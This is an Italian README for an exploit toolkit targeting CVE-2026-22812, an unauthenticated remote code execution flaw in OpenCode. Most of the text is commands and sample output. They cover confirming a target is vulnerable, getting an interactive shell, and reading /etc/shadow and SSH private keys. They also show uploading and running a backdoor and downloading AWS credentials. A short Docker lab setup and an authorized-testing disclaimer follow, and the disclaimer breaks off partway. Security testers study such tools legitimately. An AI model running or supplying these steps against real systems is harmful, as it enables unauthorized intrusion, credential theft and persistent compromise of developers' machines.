
Toolkit di sfruttamento per CVE-2026-22812 (RCE non autenticata in OpenCode) che fornisce shell interattiva, esecuzione arbitraria di comandi, upload/download di file ed enumerazione di sistema per test di sicurezza autorizzati.
Toolkit di sfruttamento completo per CVE-2026-22812 - RCE non autenticata OpenCode
Lo Strumento Exploit CVE-2026-22812 è un framework di sfruttamento completo per la vulnerabilità di esecuzione remota di codice non autenticata in OpenCode. Questo strumento fornisce molteplici metodi di sfruttamento, tra cui shell interattiva, operazioni sui file ed enumerazione del sistema.
# Clona il repository
git clone https://github.com/rohmatariow/CVE-2026-22812-exploit.git
cd CVE-2026-22812-exploit
# Installa le dipendenze
pip3 install -r requirements.txt
pip3 install requests urllib3
python3 exploit.py -t http://192.168.1.10:4096 --verify
Output:
[+] Il target è VULNERABILE a CVE-2026-22812!
[+] ID Sessione: abc123def456
python3 exploit.py -t http://192.168.1.10:4096 -c "id"
Output:
[*] Creazione sessione...
[+] Sessione creata: abc123def456
[+] Il target è VULNERABILE!
[*] Esecuzione: id
[+] Comando eseguito con successo
uid=1000(developer) gid=1000(developer) groups=1000(developer)
python3 exploit.py -t http://192.168.1.10:4096 -i
Sessione Interattiva:
[+] Sessione creata: abc123def456
[+] Il target è VULNERABILE!
[*] Accesso alla modalità shell interattiva
[!] Digita 'help' per i comandi, 'exit' per uscire
developer@target$ whoami
developer
developer@target$ pwd
/home/developer/workspace
developer@target$ ls -la
total 48
drwxr-xr-x 8 developer developer 4096 Jan 16 10:30 .
drwxr-xr-x 3 developer developer 4096 Jan 15 09:20 ..
-rw-r--r-- 1 developer developer 220 Jan 15 09:20 .bash_logout
...
developer@target$ read /etc/hostname
[*] Lettura file: /etc/hostname
[+] File letto con successo (10 byte)
dev-server-01
developer@target$ exit
[*] Uscita...
# Comando singolo
python3 exploit.py -t http://target:4096 -c "whoami"
# Comando complesso
python3 exploit.py -t http://target:4096 -c "ps aux | grep opencode"
# Comandi multipli
python3 exploit.py -t http://target:4096 -c "cd /tmp && ls -la && pwd"
# Leggi file sensibili
python3 exploit.py -t http://target:4096 -r /etc/passwd
python3 exploit.py -t http://target:4096 -r /etc/shadow
python3 exploit.py -t http://target:4096 -r ~/.ssh/id_rsa
# Carica script shell
python3 exploit.py -t http://target:4096 --upload shell.sh /tmp/shell.sh
# Carica binario
python3 exploit.py -t http://target:4096 --upload payload.elf /tmp/payload
# Carica con esecuzione
python3 exploit.py -t http://target:4096 --upload backdoor.sh /tmp/bd.sh
python3 exploit.py -t http://target:4096 -c "chmod +x /tmp/bd.sh && /tmp/bd.sh"
# Scarica configurazione
python3 exploit.py -t http://target:4096 --download /etc/hosts ./hosts.txt
# Scarica credenziali
python3 exploit.py -t http://target:4096 --download ~/.aws/credentials ./aws_creds.txt
# Scarica codice sorgente
python3 exploit.py -t http://target:4096 --download /app/config.json ./config.json
# Raccogli informazioni sul sistema
python3 exploit.py -t http://target:4096 --sysinfo
Output:
{
"hostname": "dev-server-01",
"username": "developer",
"user_id": "uid=1000(developer) gid=1000(developer)",
"current_dir": "/home/developer/workspace",
"kernel": "Linux dev-server-01 5.15.0-91-generic x86_64",
"os_release": "Ubuntu 22.04.3 LTS",
"ip_address": "192.168.1.10",
"processes": "..."
}
npm install -g opencode-ai@latestpkill -f opencode# Dockerfile per OpenCode vulnerabile
FROM node:18
RUN npm install -g [email protected]
EXPOSE 4096
CMD ["opencode"]
# Build ed esecuzione
docker build -t opencode-vuln .
docker run -p 4096:4096 opencode-vuln
# Test dell'exploit
python3 exploit.py -t http://localhost:4096 -i
# Installa la versione vulnerabile
npm install -g [email protected]
# Avvia OpenCode
opencode
# In un altro terminale, esegui l'exploit
python3 exploit.py -t http://localhost:4096 --verify
⚠️ Non distribuire mai versioni vulnerabili in produzione!
LEGGI ATTENTAMENTE
Questo strumento è fornito SOLO PER TEST DI SICUREZZA AUTORIZZATI.
Gli autori:
Utilizzando questo strumento, accetti di:
UTILIZZO A PROPRIO RISCHIO
⭐ Metti una stella se utile! ⭐
Solo per test di sicurezza autorizzati